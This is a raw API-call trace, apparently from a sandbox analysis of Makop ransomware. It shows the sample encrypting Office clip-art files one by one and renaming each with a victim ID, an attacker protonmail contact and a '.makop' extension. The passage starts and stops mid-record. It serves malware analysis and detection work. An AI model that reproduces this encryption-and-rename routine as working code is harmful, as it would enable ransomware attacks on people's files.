ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3418, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151073.WMF", cAlternateFileName="")) returned 1 [0124.232] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0124.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0124.234] GetProcessHeap () returned 0x48a0000 [0124.234] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0124.234] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0124.234] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0124.236] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0124.240] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.240] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.240] GetProcessHeap () returned 0x48a0000 [0124.240] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0124.240] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0124.240] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.240] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0124.241] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0124.241] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0124.241] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0124.241] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0124.241] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0124.241] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.241] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.241] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.242] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3418, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3418, lpOverlapped=0x0) returned 1 [0124.243] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3420, dwBufLen=0x3420 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3420) returned 1 [0124.243] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.243] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3420, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3420, lpOverlapped=0x0) returned 1 [0124.243] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.243] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x34f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.243] SetEndOfFile (hFile=0xf0) returned 1 [0124.250] GetProcessHeap () returned 0x48a0000 [0124.250] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0124.250] GetProcessHeap () returned 0x48a0000 [0124.250] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0124.250] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0124.250] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0124.477] CloseHandle (hObject=0xf0) returned 1 [0124.477] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151581.WMF", cAlternateFileName="")) returned 1 [0124.477] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0124.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0124.505] GetProcessHeap () returned 0x48a0000 [0124.505] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0124.505] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0124.505] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0124.506] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.506] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.506] GetProcessHeap () returned 0x48a0000 [0124.506] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0124.506] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0124.506] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.506] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0124.655] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0124.655] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0124.655] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0124.655] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0124.656] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0124.656] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.656] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.656] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.656] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2a00, lpOverlapped=0x0) returned 1 [0124.658] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2a00, dwBufLen=0x2a00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2a00) returned 1 [0124.658] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.658] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2a00, lpOverlapped=0x0) returned 1 [0124.658] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.658] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2ad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.658] SetEndOfFile (hFile=0xf0) returned 1 [0124.665] GetProcessHeap () returned 0x48a0000 [0124.665] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0124.665] GetProcessHeap () returned 0x48a0000 [0124.665] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0124.665] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0124.665] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0124.667] CloseHandle (hObject=0xf0) returned 1 [0124.667] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x610c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152414.WMF", cAlternateFileName="")) returned 1 [0124.667] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0124.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0124.668] GetProcessHeap () returned 0x48a0000 [0124.668] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0124.668] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0124.668] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0124.668] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0124.676] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.676] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.676] GetProcessHeap () returned 0x48a0000 [0124.676] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0124.676] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0124.676] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.676] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0124.676] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0124.676] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0124.677] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0124.677] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0124.677] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0124.677] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.677] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.677] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.677] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x610c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x610c, lpOverlapped=0x0) returned 1 [0124.679] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6110, dwBufLen=0x6110 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6110) returned 1 [0124.679] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.679] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6110, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6110, lpOverlapped=0x0) returned 1 [0124.680] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.680] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x61e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.680] SetEndOfFile (hFile=0xf0) returned 1 [0124.687] GetProcessHeap () returned 0x48a0000 [0124.687] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0124.687] GetProcessHeap () returned 0x48a0000 [0124.687] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0124.687] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0124.687] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0124.689] CloseHandle (hObject=0xf0) returned 1 [0124.689] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152430.WMF", cAlternateFileName="")) returned 1 [0124.689] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0124.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0124.691] GetProcessHeap () returned 0x48a0000 [0124.691] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0124.691] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0124.691] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0124.692] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0124.695] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.695] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.695] GetProcessHeap () returned 0x48a0000 [0124.695] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0124.695] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0124.695] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.696] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0124.696] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0124.696] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0124.696] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0124.696] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0124.696] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0124.696] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.697] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.697] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.697] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3734, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3734, lpOverlapped=0x0) returned 1 [0124.698] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3740, dwBufLen=0x3740 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3740) returned 1 [0124.698] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.698] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3740, lpOverlapped=0x0) returned 1 [0124.698] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.698] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.699] SetEndOfFile (hFile=0xf0) returned 1 [0124.706] GetProcessHeap () returned 0x48a0000 [0124.706] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0124.706] GetProcessHeap () returned 0x48a0000 [0124.706] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0124.706] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0124.706] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf"), lpNewFileName="C:\\Program Files\\Microsoft 